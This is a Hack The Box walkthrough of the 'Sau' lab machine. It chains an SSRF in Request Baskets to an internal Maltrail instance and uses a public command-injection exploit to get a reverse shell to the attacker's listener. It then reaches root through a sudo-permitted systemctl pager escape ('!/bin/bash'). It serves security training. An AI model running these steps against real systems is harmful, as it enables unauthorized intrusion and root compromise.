Sau

Join The Best Hacking Community Worldwide | Hack The Box

Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!

www.hackthebox.com

Run a nmap scan

nmap -sC -sV -Pn -v 10.129.222.56

The Nmap scan reveals that OpenSSH is running on its default port, 22. Port 80 is open but in a filtered state. Similarly, port 8338 is open and filtered. Additionally, there is a service listening on port 55555 that responds to HTTP requests.

HTTP

Since port 80 is filtered, we start our enumeration by navigating to port 55555, where we discover a Request Baskets instance running. Request Baskets is a web service designed to collect arbitrary HTTP requests and allow them to be inspected using either a RESTful API or a straightforward web interface.

In the footer, we notice that the version in use is Version 1.2.1. A quick Google search reveals it is susceptible to Server-Side Request Forgery (SSRF), identified as CVE-2023-27163, through the component /api/baskets/{name}. This vulnerability enables attackers to access network resources and sensitive information using a crafted API request. Additional information on this vulnerability is available online.

We can create a new basket to exploit the SSRF vulnerability and attempt to enumerate internal services running on the machine.

To check if the instance is vulnerable, we begin by starting a Netcat listener on port 80 and then attempt to send an HTTP request to our IP address.

nc -lnvp 80

With our Netcat listener running, we can now initiate a request to check if a connection is established with the listener. To do this, we need to update the request URL in the created basket to point to the IP address of our attacking machine.

We click on the gear icon in the top-left corner of the basket to access the configuration settings.

Next, we set the Forward URL to our machine's IP address and click Apply.

We can now send a GET request to our basket and check if anything is received on our Netcat listener.

curl http://10.129.245.216:55555/01ds2nz

We observe that the request we sent has been successfully received on our Netcat listener.

└─$ nc -nvlp 80 
listening on [any] 80 ...
connect to [10.10.14.4] from (UNKNOWN) [10.129.245.216] 48968
GET / HTTP/1.1
Host: 10.10.14.4
User-Agent: curl/8.11.0
Accept: */*
X-Do-Not-Forward: 1
Accept-Encoding: gzip

Since we’ve confirmed the instance is vulnerable and the Nmap scan identified port 80 as filtered, we can leverage this to determine which service is running on the port. We’ll update the proxy configuration again, setting the forwarding URL to http://127.0.0.1:80. Additionally, we enable the following settings:

• Proxy Response: This allows the basket to function as a full proxy, passing responses from the service configured in forward_url back to the clients of the original requests. In this case, the basket response configuration is ignored.
• Expand Forward Path: This ensures that the forward URL path is expanded when the original HTTP request includes a compound path.

We click Apply and attempt to access the basket in our browser.

Note: We navigate to the actual request collector, not the basket path. The URL should resemble http://10.10.11.224:55555/<id>, not /web/<id>/.

Here, we discover a Maltrail instance running. Observing the footer, we note that the version in use is Maltrail (v0.53). A quick Google search reveals that this version is vulnerable to an unauthenticated OS Command Injection.

Foothold

We can now use the proof of concept from Exploit Database to gain a shell on the machine. To start, we need to download the exploit.

git clone https://github.com/spookier/Maltrail-v0.53-Exploit.git

Once the exploit is ready, we set up a Netcat listener to handle the reverse shell connection for interaction.

nc -nvlp 443

We can now execute the proof-of-concept exploit, specifying our machine's IP address, the port where our listener is active, and the URL for our basket's collector.

└─$ python3 exploit.py 10.10.14.4 443 http://10.129.245.216:55555/01ds2nz
Running exploit on http://10.129.245.216:55555/01ds2nz/login

We observe that a connection is successfully established with our listener, providing us with a shell as the user puma.

└─$ nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.129.245.216] 56116
$ id
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)

To achieve a more stable shell, we can execute the following sequence of commands:

script /dev/null -c bash
# Ctrl + z
stty -raw echo; fg
# Enter (Return) x2

The user flag can now be retrieved from /home/puma.

puma@sau:~$ cat user.txt
cat user.txt
fe79071ddbaa343cf96accc6c25ad42d

Privilege Escalation

By examining the sudo permissions for the user puma, we find that they are allowed to execute /usr/bin/systemctl status trail.service as root without a password. This can be exploited to obtain a root shell.

puma@sau:~$ sudo -l
sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

Upon checking the running Systemd version, we find it is Systemd 245. Researching online reveals that this version is vulnerable to CVE-2023-26604. We locate a resource online detailing the exploitation steps, which can be followed to take advantage of this vulnerability.

puma@sau:~$ systemctl --version
systemctl --version
systemd 245 (245.4-4ubuntu3.22)
+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid

This vulnerability, combined with a misconfiguration in /etc/sudoers, allows for local privilege escalation. The issue arises because Systemd does not set LESSSECURE=1, enabling the less pager to launch other programs.

By entering !/path/to/program within the less pager, we can suspend its operation and execute the specified command. In this case, we use /bin/bash to open a new shell, which inherits the same privileges as the less pager. Since the command is executed with root privileges, the resulting shell will also run as the root user.

To begin, we run the following command to check the status of the trail.service systemd service:

sudo /usr/bin/systemctl status trail.service

Next, when prompted to press the RETURN key, we enter !/bin/bash to suspend the operation and launch a shell as root. With root access, we can navigate to /root/ and read the root flag.

References

Hack The Box Official Writeup for Sau